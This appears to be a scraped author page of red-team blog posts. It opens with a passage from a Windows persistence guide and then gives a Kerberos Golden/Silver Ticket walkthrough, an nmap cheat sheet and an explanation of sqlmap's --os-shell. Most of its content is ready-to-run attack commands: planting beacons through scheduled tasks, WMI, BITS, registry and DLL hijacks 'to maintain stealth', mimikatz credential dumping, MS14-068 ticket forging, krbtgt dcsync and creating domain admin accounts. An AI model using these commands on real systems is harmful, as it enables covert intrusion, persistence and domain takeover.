    /RP  [password]    Specifies the password for the "run as" user. To prompt for the password, the value must be "*" or none. The password is ignored for the system account. Must be used with /RU or /XML.
    /SC   schedule      Specifies the schedule frequency.
                       Valid schedule types: MINUTE, HOURLY, DAILY, WEEKLY, MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
    /MO   modifier      Refines the schedule type to allow finer control over recurrence. Valid values are listed in the "Modifiers" section below.
    /D    days          Specifies the day(s) of the week to run the task. Valid values: MON, TUE, WED, THU, FRI, SAT, SUN, and for MONTHLY schedules 1–31 (day of month). Wildcard "*" specifies all days.
    /M    months        Specifies month(s) of the year. Defaults to the first day of the month. Valid values: JAN, FEB, MAR, APR, MAY, JUN, JUL, AUG, SEP, OCT, NOV, DEC. Wildcard "*" specifies all months.
    /I    idletime      Specifies the amount of idle time to wait before running a scheduled ONIDLE task. Valid range: 1 to 999 minutes.
    /TN   taskname      Specifies a name that uniquely identifies this scheduled task.
    /TR   taskrun       Specifies the path and file name of the programme to run at the scheduled time. Example: C:\windows\system32\calc.exe
    /ST   starttime     Specifies the start time to run the task. Time format is HH:mm (24‑hour), e.g. 14:30 for 2:30 PM. Defaults to current time if not specified. Required for /SC ONCE.
    /RI   interval      Specifies the repetition interval in minutes. Not applicable for schedule types: MINUTE, HOURLY, ONSTART, ONLOGON, ONIDLE, ONEVENT. Valid range: 1–599940 minutes. If /ET or /DU is specified, the default is 10 minutes.
    /ET   endtime       Specifies the end time to run the task. Time format HH:mm, e.g. 14:50 for 2:50 PM. Not applicable for ONSTART, ONLOGON, ONIDLE, ONEVENT.
    /DU   duration      Specifies the duration to run the task. Time format HH:mm. Not applicable with /ET or schedule types ONSTART, ONLOGON, ONIDLE, ONEVENT. For /V1 tasks, if /RI is specified, duration defaults to 1 hour.
    /K                  Terminates the task at the end time or duration. Not applicable for ONSTART, ONLOGON, ONIDLE, ONEVENT. Must specify /ET or /DU.
    /SD   startdate     Specifies the first date on which the task runs. Format yyyy/mm/dd. Defaults to the current date. Not applicable for ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
    /ED   enddate       Specifies the last date the task runs. Format yyyy/mm/dd. Not applicable for ONCE, ONSTART, ONLOGON, ONIDLE.
    /EC   ChannelName   Specifies the event channel for OnEvent triggers.
    /IT                Allows the task to run interactively only if the /RU user is currently logged on. This task runs only when the user is logged on.
    /NP                No password is stored. The task runs non‑interactively as the given user. Only local resources are available.
    /Z                 Marks the task for deletion after its final run.
    /XML  xmlfile       Creates a task from the task XML specified in a file. Can be combined with /RU and /RP switches, or /RP alone when the task XML already contains the principal.
    /V1                Creates a task visible to pre‑Vista platforms. Not compatible with /XML.
    /F                 Forcefully creates the task and suppresses warnings if the specified task already exists.
    /RL   level        Sets the run level for the job. Valid values: LIMITED and HIGHEST. Default is LIMITED.
    /DELAY delaytime   Specifies the wait time to delay the task after the trigger fires. Time format mmmm:ss. This option is only valid for schedule types ONSTART, ONLOGON, ONEVENT.
    /?                 Displays this help message.

Modifiers: Valid values for the /MO switch per schedule type:
    MINUTE:  1 to 1439 minutes.
    HOURLY:  1 – 23 hours.
    DAILY:   1 to 365 days.
    WEEKLY:  1 to 52 weeks.
    ONCE:    No modifier.
    ONSTART: No modifier.
    ONLOGON: No modifier.
    ONIDLE:  No modifier.
    MONTHLY: 1 to 12, or FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY.
    ONEVENT: XPath event query string.

Examples:
    ==> Create a scheduled task "doc" on remote machine "ABC" that runs notepad.exe hourly under the "runasuser" account.
        SCHTASKS /Create /S ABC /U user /P password /RU runasuser /RP runaspassword /SC HOURLY /TN doc /TR notepad

    ==> Create a scheduled task "accountant" on remote machine "ABC" that runs calc.exe every five minutes between a start and end time on specified dates.
        SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE /MO 5 /TN accountant /TR calc.exe /ST 12:00 /ET 14:00 /SD 06/06/2006 /ED 06/06/2006 /RU runasuser /RP userpassword

    ==> Create a scheduled task "gametime" that runs FreeCell on the first Sunday of every month.
        SCHTASKS /Create /SC MONTHLY /MO first /D SUN /TN gametime /TR c:\windows\system32\freecell

    ==> Create a scheduled task "report" on remote machine "ABC" that runs notepad.exe every week.
        SCHTASKS /Create /S ABC /U user /P password /RU runasuser /RP runaspassword /SC WEEKLY /TN report /TR notepad.exe

    ==> Create a scheduled task "logtracker" on remote machine "ABC" that runs notepad.exe every five minutes from a specified start time with no end time; password prompt for /RP.
        SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE /MO 5 /TN logtracker /TR c:\windows\system32\notepad.exe /ST 18:30 /RU runasuser /RP

    ==> Create a scheduled task "gaming" that runs freecell.exe daily from 12:00 to 14:00 and ends automatically.
        SCHTASKS /Create /SC DAILY /TN gaming /TR c:\freecell /ST 12:00 /ET 14:00 /K

    ==> Create a scheduled task "EventLog" to start wevtvwr.msc whenever event 101 is published in the "System" channel.
        SCHTASKS /Create /TN EventLog /TR wevtvwr.msc /SC ONEVENT /EC System /MO *[System/EventID=101]

    ==> File paths may contain spaces; use two sets of quotes—one for CMD.EXE and one for SchTasks.exe. The outer quotes for CMD must be double quotes; inner quotes can be single or escaped double quotes:
        SCHTASKS /Create /tr "'c:\program files\internet explorer\iexplorer.exe' \"c:\log data\today.xml\"" ...

The "Task Scheduler Library" contains folders. In a pristine Windows installation, there are no scheduled tasks in the root directory, as shown:

Naturally, subdirectories are also empty:

All built‑in tasks reside deep within nested folders. To maintain stealth, it is advisable to adhere to the default Windows convention by creating our own subdirectory and task under \Microsoft\Windows\. Example command:

SCHTASKS /Create /RU SYSTEM /SC ONSTART /RL HIGHEST /TN \Microsoft\Windows\evil\eviltask /TR C:\Users\hunter\Desktop\evil.exe

A beacon is received without requiring user logon:

In the process tree, the malicious process is spawned by taskeng.exe, the Task Scheduler engine. Its stealth is inferior to DLL services but superior to auto‑start registry keys.

However, another significant issue emerges: the SCHTASKS command has incomplete functionality. Many configuration options cannot be manipulated, such as adding multiple triggers simultaneously or modifying settings in the "Conditions" and "Settings" tabs, as shown below:

These options remain at their creation defaults, meaning our scheduled task will not start upon wake from sleep, will stop when AC power is disconnected, and will automatically cease after three days. Yet these advanced settings cannot be configured via command line. A search of the Microsoft community yielded the following official response:

It is both amusing and frustrating. For normal users, this is unproblematic, but for red teams, manipulating the GUI is inconvenient. While one could craft a DLL module or executable that directly calls the Win32 API to modify these settings, that requires uploading an additional file, reducing efficiency. Therefore, scheduled task persistence can serve only as a fallback measure, not a fully reliable method.

A somewhat similar vector is Group Policy. Startup scripts can execute cmd or PowerShell scripts to run arbitrary commands, but because the command‑line version of the Group Policy Editor is far too limited, it will not be expanded upon here. (If desktop access is available, configuring a startup script directly via gpedit.msc achieves persistence with relatively high stealth.)

0x05 WMI

Required Privileges: Administrator privileges without UAC reduction.

WMI can be regarded as a set of APIs that interact directly with the Windows operating system. Being a native tool that requires no installation, it is also a valuable aid for persistence.

Because WMI events execute in a loop, to avoid spawning countless shells, one can restrict execution using the system uptime (as long as the trigger delay falls within the specified window; some machines boot slowly, so the start time should be set higher). Example commands:

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="evil", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 310"

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="evilConsumer", ExecutablePath="C:\Users\hunter\Desktop\beacon.exe",CommandLineTemplate="C:\Users\hunter\Desktop\beacon.exe"

wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"evil\"", Consumer="CommandLineEventConsumer.Name=\"evilConsumer\""

Due to possible variations in the exact timing window, multiple beacons may appear in certain circumstances:

Inspecting the process tree reveals moderate stealth:

0x06 Screen Saver

Required Privileges: Standard user.

Although not all users employ a screen saver, the relevant configuration is conveniently stored in the registry, as shown in the four keys below:

Full paths:

HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaverIsSecure
HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveTimeOut
HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE

Write directly to the registry:

reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d C:\Users\hunter\Desktop\beacon.exe /f
reg add "hkcu\control panel\desktop" /v ScreenSaveActive /d 1 /f
reg add "hkcu\control panel\desktop" /v ScreenSaverIsSecure /d 0 /f
reg add "hkcu\control panel\desktop" /v ScreenSaveTimeOut /d 60 /f

Examining the process tree shows it is spawned by winlogon.exe – stealth is moderate:

A minor pitfall: if a screen saver has never been configured, all keys except ScreenSaveActive (which defaults to 1) do not exist. Proper screen saver operation requires all keys to hold data; therefore, all four must be rewritten. Additionally, testing shows the shortest trigger time is 60 seconds – even if a smaller value is set, the programme still executes after 60 seconds.

Naturally, as indicated by the registry path, this method yields a shell with only current‑user privileges. Its advantage is that it does not require elevation.

0x07 Background Intelligent Transfer Service (BITS)

Required Privileges: Administrator rights (UAC bypass allowed).

The Background Intelligent Transfer Service (BITS) facilitates the transfer of large amounts of data without degrading network performance. It accomplishes this by transferring data in small blocks, utilising available idle bandwidth, and reassembling the data at the destination. BITS is supported on Microsoft® Windows Server 2003 family operating systems and Microsoft® Windows 2000. (Source: Baidu Baike)

Many online "penetration testing tutorials" include using the bitsadmin command to download files or execute commands, but it can also be employed for persistence and can evade detection by Autoruns and anti‑virus protection against auto‑start command execution.

Adding a task is straightforward, requiring only four commands:

bitsadmin /create evil
bitsadmin /addfile evil "C:\Users\hunter\Desktop\beacon.exe" "C:\Users\hunter\Desktop\beacon.exe"
bitsadmin.exe /SetNotifyCmdLine evil "C:\Users\hunter\Desktop\beacon.exe" NUL
bitsadmin /Resume evil

One advantage is that it can be executed within a reduced administrator session (bypassing UAC), and naturally the resulting beacon also operates with reduced privileges:

After a reboot, since the task has not been completed, the system will re‑launch it, thus achieving persistence. Although BITS tasks have a default lifetime of 90 days—after which they are automatically cancelled—this is sufficient for red team operations:

Inspecting the process tree, it is launched by svchost.exe -k netsvcs. However, because it remains an independent process, stealth is moderate:

This method bypasses all current startup inspection tools; the only means of detection is through the bitsadmin command:

bitsadmin /list /allusers /verbose

All tasks are displayed as shown (screenshot from a different test machine, hence data differs):

0x07 Print Spooler Service

Required Privileges: Administrator privileges without UAC reduction.

The Print Spooler service manages print jobs in the Windows operating system. Because many users still rely on printers, optimisation software does not recommend disabling this service. The Print Spooler API includes a function, AddMonitor, which installs a local port monitor and links configuration, data, and monitor files. This function injects a DLL into the spoolsv.exe process to implement the desired functionality. The DLLs required by the system in its default state are as follows:

These DLLs contain print‑driver‑related content. We can exploit this mechanism to plant a malicious DLL. Of course, as with service registration, this requires full administrator privileges.

First, place the malicious DLL in C:\Windows\System32\:

Then execute the command to add the relevant registry entry and the Driver key:

reg add "hklm\system\currentcontrolset\control\print\monitors\monitor" /v "Driver" /d "monitor.dll" /t REG_SZ

After reboot, the malicious DLL is automatically loaded into spoolsv.exe, offering high stealth:

The C2 session is established with SYSTEM privileges (MSF is used here for demonstration; a CS DLL would need to be rewritten):

0x08 Netsh

Required Privileges: Administrator privileges without UAC reduction.

Netsh is a native Windows command‑line tool for network configuration. It can import helper DLLs to extend functionality, and once imported, the DLL path is stored in the registry for permanent effect:

Thus, persistence can be achieved by importing a helper DLL. The command format is:

netsh add helper [Absolute evil DLL path]

However, because netsh does not start automatically, an auto‑start entry must be added as well:

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "cmd /c C:\Windows\System32\netsh"

After reboot, the shell is still obtained:

The process tree and loaded malicious module are shown below; stealth is relatively high:

Because the testing still relied on an MSF‑generated DLL, launching netsh pops up a console window and blocks; terminating the netsh process drops the connection. Therefore, for practical red‑team use, a custom DLL must be developed.

0x09 AppCertDlls

Required Privileges: Administrator privileges without UAC reduction.

It is well known that the AppInit_DLLs registry value is read when user32.dll is loaded into memory; if a value exists, LoadLibrary() is called to load the user‑mode DLL. In earlier years, this method was quite popular for DLL‑injection persistence, but it has become ineffective on many modern systems. The reason is a flag check in kernel32.dll during startup, as illustrated:

kernel32.dll queries class 0x67 via NtQuerySystemInformation and then checks whether the ReturnLength is equal to 2 (bitwise AND operation). If equal, it skips loading the DLL and returns.

Information regarding 0x67 can be found online:

This flag is toggled by bcdedit.exe /set testsigning on/off. However, most recent machines have Secure Boot enabled in the BIOS by default; unless this option is disabled, the flag cannot be modified. Consequently, this method currently faces considerable limitations.

Nevertheless, there exists another, less commonly used registry key that also permits automatic DLL loading: AppCertDlls. When a process invokes APIs such as CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec, the DLLs listed in this key are automatically loaded. Fortunately, many programmes call these APIs.

A test programme calling one of these APIs:

Execution:

MSF session established:

Inspecting the process tree:

It merely spawns a rundll32.exe under a legitimate process, loading the malicious DLL. Stealth is high.

However, the MSF DLL remains usable only for testing. Because many system programmes call these APIs (e.g. explorer.exe), and the MSF DLL blocks the process, it can prevent the desktop from loading at startup. Therefore, a custom DLL must be developed for operational use.

0x0A MSDTC

Required Privileges: Administrator privileges without UAC reduction.

msdtc.exe is the Microsoft Distributed Transaction Coordinator. This process is invoked by Microsoft Personal Web Server and Microsoft SQL Server, and it manages multiple servers.

Upon startup, the service attempts to load three DLL files from System32: oci.dll, SQLLib80.dll, and xa80.dll. The service entry is shown below:

The corresponding registry entries:

In a default Windows installation, the file oci.dll is missing from the System32 folder. Provided write access exists, a malicious DLL with that name can be placed there, and malicious code will execute when the service starts.

By default, the startup type is set to "Manual". Configure automatic startup with:

sc qc msdtc
sc config msdtc start= auto

The malicious DLL will be loaded into the msdtc.exe process, yielding high stealth:

0x0B Conclusion

Initially, approximately twenty persistence techniques were catalogued, but in practice many are not universally applicable—some are limited to specific scenarios, particular configurations, or certain applications. Others are "passive" persistence methods, such as shortcut replacement; aside from exploiting a shortcut vulnerability, they will not trigger unless the target clicks them. Therefore, those with significant limitations were removed to streamline the article (and reduce workload), resulting in the ten techniques presented above, which are relatively generic.

During the collation process, a frustration at the Ring3 level became evident: user‑mode persistence that aims for high stealth and evasion of behavioural detection by anti‑virus must rely on native Windows functionality (living off the land). If these features or modules are disabled, uninstalled, or fail to start normally in special environments, the approach becomes problematic. Thus, preparing multiple methods is always beneficial.

Due to time constraints, some DLLs required for demonstration were directly generated by MSF, but their evasion capabilities are unsatisfactory. When developing the CS plugin later, these DLLs must be completed and subjected to further anti‑virus treatment.

Ticket Passing Attacks

Excalibra — Wed, 10 Jun 2026 03:06:18 +0000

This section introduces two common attack methods within a domain: the Golden Ticket and the Silver Ticket.

Furthermore, readers familiar with the Kerberos authentication process will find the principles of these two attacks considerably easier to comprehend. For those who have not previously studied Kerberos authentication, it is recommended to familiarize on the Kerberos Authentication Process.

Related Tools

Golden Ticket

Principle

During Kerberos authentication, after the Client authenticates with the Authentication Service (AS), the AS issues a Logon Session Key and a Ticket‑Granting Ticket (TGT) to the Client. The Logon Session Key is not retained within the Key Distribution Centre (KDC), whereas the NTLM hash of the krbtgt account is fixed. Consequently, if an attacker obtains the NTLM hash of krbtgt, it becomes possible to forge both a TGT and the corresponding Logon Session Key, thereby enabling the Client to proceed to the interaction with the Ticket‑Granting Service (TGS). Possession of a Golden Ticket permits the bypass of AS validation entirely; neither account name nor password is verified, and the attacker remains unaffected even if the domain administrator password is subsequently changed.

Characteristics

Does not require any interaction with the AS.
Requires the NTLM hash of the krbtgt user.

Detailed Procedure

1. Forging Credentials to Escalate Privileges of a Domain User

Assume that an attacker has logged on to a host within the domain as a local Administrator.

The command net config workstation reveals, among other details, that the domain is named cyberpeace.

The command nltest /dsgetdc:domain identifies the Domain Controller hostname as scene.

Mimikatz is uploaded and executed with administrator privileges:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

Examination of the generated log.txt reveals a domain user account, devuser, with the password HOTdev123456.

Logging in as devuser and running whoami confirms the current user context.

The presence of the MS14‑068 vulnerability (CVE‑2014‑6324, addressed by patch 3011780) is checked with the command systeminfo | find "3011780". An empty result indicates the patch is absent and the system is vulnerable. It should be noted that privilege escalation using this vulnerability is time‑limited.

An attempt to access the administrative share on the domain controller with dir \\scene.cyberpeace.com\c$ fails owing to insufficient permissions.

The MS14‑068 exploit tool and mimikatz are uploaded. The user’s SID is obtained using either whoami /user or whoami /all.

The MS14‑068 tool is used to forge a ticket:

C:\MS14-068>MS14-068.exe -u devuser@cyberpeace.com -p HOTdev123456 -s S-1-5-21-97341123-1865264218-933115267-1108 -d scene.cyberpeace.com

A TGT ticket file is generated in the current directory. The general usage is:

ms14-068.exe -u <domain_user>@<domain> -p <password> -s <user_SID> -d <domain_controller>

Within mimikatz, the existing Kerberos ticket cache is purged and the forged ticket is imported:

mimikatz # kerberos::purge
mimikatz # kerberos::ptc <path_to_ticket_file>

The command dir \\scene.cyberpeace.com\c$ now executes successfully, demonstrating that domain administrator privileges have been obtained.

A new domain administrator account, aaa, is created:

net user aaa Qwe123... /add /domain
net group "Domain Admins" aaa /add /domain

2. Forging a Golden Ticket

Prerequisites for forging a Golden Ticket

Domain name
Domain SID value
NTLM hash of the krbtgt account
Arbitrary username to be forged

Logging in as the domain administrator aaa and executing whoami confirms the identity.

The NTLM hash of krbtgt is extracted using the following mimikatz commands:

mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /all /csv
mimikatz(commandline) # lsadump::dcsync /domain:cyberpeace.com /user:krbtgt

The SID of the krbtgt account is displayed in the output.

Mimikatz is then employed to generate the Golden Ticket and save it as a .kirbi file:

mimikatz.exe "kerberos::golden /admin:system /domain:cyberpeace.com /sid:S-1-5-21-97341123-1865264218-933115267 /krbtgt:95972cdf7b8dde854e74c1871f6d80a0 /ticket:ticket.kirbi" exit

/admin : forged username
/domain : domain name
/sid : domain SID (note: the last component after the final hyphen is omitted)
/krbtgt : NTLM hash of krbtgt
/ticket : name of the generated ticket file

3. Using the Golden Ticket (Creating a Domain Admin Account from a Standard Domain Account)

The attacker logs into the domain with an ordinary user account. Using mimikatz, the previously generated ticket.kirbi is loaded into memory:

mimikatz # kerberos::purge
mimikatz # kerberos::ptt ticket.kirbi

At this point, an attempt to create a domain administrator account named ccc succeeds.

Silver Ticket

Principle

If the Golden Ticket represents a forged TGT, then the Silver Ticket corresponds to a forged Service Ticket (ST). During the third stage of Kerberos authentication, the Client presents the ST together with Authenticator3 to a service hosted on a particular server. The server decrypts the ST using its own Master Key (derived from the service account’s hash) to obtain the Session Key. It then decrypts Authenticator3 with that Session Key to verify the Client’s identity. If verification succeeds, the Client is granted access to the designated service.

Thus, if an attacker knows the NTLM hash of the service account associated with the target server, a valid ST can be forged without any communication with the KDC. However, such a forged ticket is functional only for the specific service for which it was crafted.

Characteristics

Does not require interaction with the KDC.
Requires the NTLM hash of the target service account.

Detailed Procedure

1. Forging Credentials to Escalate Privileges of a Domain User

Again, the attack begins from a local Administrator account on a domain‑joined host.

The command net config workstation reveals the domain name as cyberpeace.

The domain controller hostname scene is obtained with nltest /dsgetdc:domain.

Mimikatz is executed with administrator rights:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

The log file shows a domain user account, Hellen, with the password Hellen1818.

After logging in as Hellen, whoami confirms the user context.

The presence of the MS14‑068 vulnerability is verified.

Access to the administrative share is initially denied.

The exploit tool and mimikatz are uploaded, and the user’s SID is retrieved.

A ticket is forged with MS14‑068:

MS14-068.exe -u Hellen@cyberpeace.com -p Hellen1818 -s S-1-5-21-2718660907-658632824-2072795563-1110 -d DomainControl.cyberpeace.com

The generic syntax is:

ms14-068.exe -u <domain_user>@<domain> -p <password> -s <user_SID> -d <domain_controller>

Inside mimikatz, the old tickets are purged and the forged ticket is imported:

mimikatz # kerberos::purge
mimikatz # kerberos::ptc <path_to_ticket_file>

The command dir \\scene.cyberpeace.com\c$ now succeeds, indicating domain administrator privileges.

A domain administrator account ccc is created:

net user ccc Qwe1234 /add /domain
net group "Domain Admins" cccc /add /domain

2. Forging a Silver Ticket

Logging in as the newly created domain administrator, mimikatz is run with administrator privileges to extract the necessary SID and NTLM hash:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

The hash and mimikatz are then copied to a local account on a domain‑joined machine. After purging the existing ticket cache, the silver ticket is forged and passed directly into the session using the following command:

kerberos::golden /domain:cyberpeace.com /sid:S-1-5-21-2718660907-658632824-2072795563 /target:scene.cyberpeace.com /service:cifs /rc4:9a68826fdc2811f20d1f73a471ad7b9a /user:test /ptt

The general usage pattern is:

kerberos::golden /domain:<domain> /sid:<domain_SID> /target:<target_server> /service:<service_type> /rc4:<NTLM_hash> /user:<username> /ptt

The <username> may be chosen arbitrarily.

Since no TGT is available to repeatedly request tickets, the attacker must target a specific service. The service type can be selected from the list below.

The command dir \\scene.cyberpeace.com\c$ executes successfully, and a domain administrator account can be created.

Differences between Golden and Silver Tickets

Scope of Access

Golden Ticket: Forges a TGT, thereby granting access to any Kerberos‑protected service.
Silver Ticket: Forges an ST, granting access only to the specific service for which it was crafted (e.g., CIFS).

Authentication Flow

Golden Ticket: Interacts with the KDC but does not interact with the AS.
Silver Ticket: Does not interact with the KDC at all; it communicates directly with the target server.

Encryption Mechanism

Golden Ticket: Encrypted with the NTLM hash of krbtgt.
Silver Ticket: Encrypted with the NTLM hash of the service account associated with the target server.

Common Nmap Parameters

Excalibra — Tue, 09 Jun 2026 23:21:22 +0000

The following table lists frequently used Nmap parameters along with their descriptions in an academic context.

Parameter	Description
`-sT`	TCP connect() scan. This method records a large number of connection requests and error messages in the target host’s logs.
`-sS`	Half-open scan. Few systems log this activity; however, root privileges are required.
`-sF`, `-sN`	Stealth FIN packet scan, Xmas Tree scan, and Null scan modes.
`-sP`	Ping scan. Nmap employs a ping scan by default when scanning ports; only if the host is alive will Nmap continue scanning.
`-sU`	UDP scan. UDP scans are inherently unreliable.
`-sA`	This advanced scanning method is typically used to traverse firewall rule sets.
`-sV`	Probe port service versions.
`-Pn`	Ping is not required prior to scanning. Some firewalls block ping commands; this option can be used to bypass that restriction.
`-v`	Display the scanning process. Recommended for verbose output.
`-h`	Help option. Provides the clearest and most comprehensive help documentation.
`-p`	Specify ports, for example: `1-65535`, `1433`, `135`, `22`, `80`, etc.
`-O`	Enable remote operating system detection. False positives may occur.
`-A`	Comprehensive system detection, enabling script detection and advanced scanning.
`-oN` / `-oX` / `-oG`	Write the report to a file in three respective formats: normal, XML, and grepable.
`-T4`	For TCP ports, disable dynamic scan delays exceeding 10 ms.
`-iL`	Read a list of hosts from a file, for example: `-iL C:\ip.txt`.

Practical Examples

Scan open ports on a specified IP address:

nmap -sS -p 1-65535 -v XXX.XXX.XXX.XXX
Scan live hosts in a /24 subnet:

nmap -sP XXX.XXX.XXX.XXX/24
Scan specific ports:

nmap -p 80,1433,22,1521 XXX.XXX.XXX.XXX
Detect the host operating system:

nmap -O XXX.XXX.XXX.XXX
Comprehensive system detection:

nmap -v -A XXX.XXX.XXX.XXX

Note: By default, Nmap scans 1,000 high-risk ports.
Scan a specified IP range:

nmap XXX.XXX.XXX.XXX-XXX
Penetrate a firewall for scanning (when ping is blocked):

nmap -Pn -A XXX.XXX.XXX.XXX
Use a script to scan web‑sensitive directories:

nmap -p 80 --script=http-enum.nse XXX.XXX.XXX.XXX

The Principle of sqlmap’s `--os-shell

Excalibra — Tue, 09 Jun 2026 22:22:33 +0000

Preface

When the database is MySQL, PostgreSQL, or Microsoft SQL Server, and the current user possesses the privileges required to invoke specific functions, sqlmap can be used to obtain an operating system shell.

In the case of MySQL and PostgreSQL, sqlmap uploads a binary library containing user-defined functions, sys_exec() and sys_eval(). These two functions, once created, are capable of executing system commands.

For Microsoft SQL Server, sqlmap employs the xp_cmdshell stored procedure. If this procedure is disabled (it is disabled by default in Microsoft SQL Server 2005 and later), sqlmap will attempt to re‑enable it; if it does not exist, sqlmap will create it automatically.

The following sections illustrate the principles behind the --os-shell feature by examining injection scenarios and direct database connections for SQL Server and MySQL.

Injection-Based `--os-shell`

Prerequisites:

Write access to the web server’s document root.
The secure_file_priv variable is either empty or set to a writable path.

During a standard SQL injection, --os-shell operates primarily by uploading a sqlmap trojan, which is subsequently used to execute commands.

Test Environment

Operating system: Microsoft Windows Server 2012 Standard
Database: MySQL 5.1.60
Scripting language: PHP 5.4.45
Web server: Apache 2.4.39

Initially, sqlmap is employed to detect the injection point.

The --os-shell flag is then invoked.

At this stage, sqlmap performs three key actions:

Probes the target to gather basic information.
Uploads a shell to the target web server.
Removes the shell upon exiting.

A packet capture with Wireshark, filtered to display only HTTP traffic, reveals the sequence.

Step 1 – sqlmap uploads a trojan that provides file‑upload functionality.

Following the HTTP stream reveals URL‑encoded content. Once decoded, it is apparent that the file is written to disk using INTO OUTFILE. The trojan’s code is hex‑encoded; decoding it exposes an upload‑capable script.

Step 2 – The uploaded trojan is used to transfer the actual shell.

Tracking the HTTP stream shows the shell’s source code in the request body.

Step 3 – Commands are passed to the shell for execution.

Step 4 – The shell is deleted.

A command is issued to remove the shell file.

Database‑Based `--os-shell`

When the database permits external connections, sqlmap can obtain a shell directly via the --os-shell flag.

Microsoft SQL Server

Prerequisites:

The database server accepts external connections.
The current database user holds sa (system administrator) privileges.

With SQL Server, --os-shell relies on the xp_cmdshell extended stored procedure to execute operating system commands.

Test Environment

Operating system: Microsoft Windows Server 2016 Datacenter
Database: Microsoft SQL Server 2008

Sqlmap is used to connect to the database.

sqlmap -d "mssql://user:password@ip:port/dbname"

Sqlmap does not ship with the pymssql module; it must be installed manually.

After executing python -m pip install pymssql, the connection is established successfully.

The --os-shell command is then issued.

At this point, sqlmap performs three key actions:

Identifies the database type and displays it.
Checks whether the current user is a database administrator (i.e., verifies sa privileges).
Determines whether xp_cmdshell is enabled; if it is not, sqlmap attempts to enable it.

In this instance, sqlmap was unable to activate xp_cmdshell automatically.

Consequently, --sql-shell was used to enable it manually:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

When RECONFIGURE; was executed, sqlmap reported a syntax error.

A Python script calling the pymssql module was written to isolate the issue.

The SELECT @@version; command could be executed successfully.

The error produced when executing RECONFIGURE; matched the error observed in --sql-shell.

Because sqlmap uses the pymssql module for database connections, it was necessary to enable xp_cmdshell using an alternative tool. Navicat was employed for this purpose.

The commands to enable xp_cmdshell were then executed.

Once enabled, commands could be issued either through Navicat or by using sqlmap’s --os-shell.

If a tool such as Navicat is used for the initial connection, one must manually verify whether the user is a database administrator and whether xp_cmdshell is present.

SELECT IS_SRVROLEMEMBER('sysadmin')

This determines if the user holds the sa role.

SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='x' AND name='xp_cmdshell';

A result of 1 indicates that xp_cmdshell exists.

After these checks, the process follows the same pattern described above.

A Wireshark capture of the TCP stream reveals the data sent.

The code was copied to a text file and certain characters were replaced.

Before executing the user‑supplied command, sqlmap runs ping -n 10 127.0.0.1 and echo 1 (marked as ① and ② in the figure). The commands that follow (③ onwards) are hex‑encoded.

MySQL

Prerequisites:

The database server permits external connections.
The secure_file_priv variable is either empty or set to a writable path.
Write access to the MySQL installation directory is available.
For versions greater than 5.1, the /lib/plugin directory must exist.

The MySQL --os-shell method leverages user‑defined functions (UDFs) to execute commands. This topic is covered in greater detail in the article MySQL UDF Privilege Escalation.

Test Environment

Operating system: Microsoft Windows Server 2012 Standard
Database: MySQL 5.1.60

Sqlmap is used to connect to the database.

After installing pymysql, a second connection attempt is made; upon success, sqlmap displays the approximate database version.

The --os-shell flag is then issued.

At this point, sqlmap performs five key actions:

Connects to the MySQL database and retrieves its version.
Verifies whether the current user is a database administrator.
Checks if the sys_exec and sys_eval functions have already been created.
Uploads the appropriate DLL file to the target directory.
When the user exits, removes the sys_exec and sys_eval functions (by default).

A Wireshark TCP stream capture is analysed. The image below provides a detailed illustration of the process.

DEV Community: Excalibra

How I Went From Interview Rejections to Building a 200+ Question Open‑Source Cybersecurity Resource

The Problem With Most Interview Prep

Enter: 200+ Cybersecurity Interview Questions (Free & Open Source)

What’s Inside?

Why Open Source?

What People Are Saying

How You Can Help

One Last Thing

Exposure of a Botnet Linked to an Israeli Listed Company

Popa: A Multi-Platform Proxy SDK Family

Stealth Design of the Android Popa SDK

Windows Neunative SDK

Proprietary Relay Protocol and Security Vulnerabilities

Two-Tier Backend Infrastructure

Two Faces of the Same Backend: Botnet and Commercial Software

Attribution Chain: From NinjaTech to NetNut

Conclusion

10 ChatGPT Prompts for Daily Use by L1 SOC Analysts

1. Security Alert Summarisation

2. Raw Log Anomaly Analysis

3. Customised Alert Triage Checklist

4. Drafting Standardised Incident Tickets or Updates

5. Drafting Escalation Reports for L2 Teams or Incident Response Units

6. Suspicious Phishing Email Analysis

7. Mapping Behaviours to the MITRE ATT&CK Framework

8. Developing Threat Hunting Hypotheses

9. Optimising or Designing SIEM Detection Rules

10. Drafting Non-Technical Executive Summaries

Important Reminder: Never Upload Sensitive Data to Public AI Tools

Conclusion

A Comprehensive Compendium of Windows Download and Execution Commands

Table of Contents

1. bitsadmin Command (Windows 7 and Above)

2. PowerShell Command Download and Execution (Windows 7 and Above)

3. mshta Command Download and Execution

4. rundll32 Command Download and Execution

5. regasm Command from .NET Framework

6. CMD Remote Command Download

7. regsvr32 Command Download and Execution

8. certutil Command Download and Execution

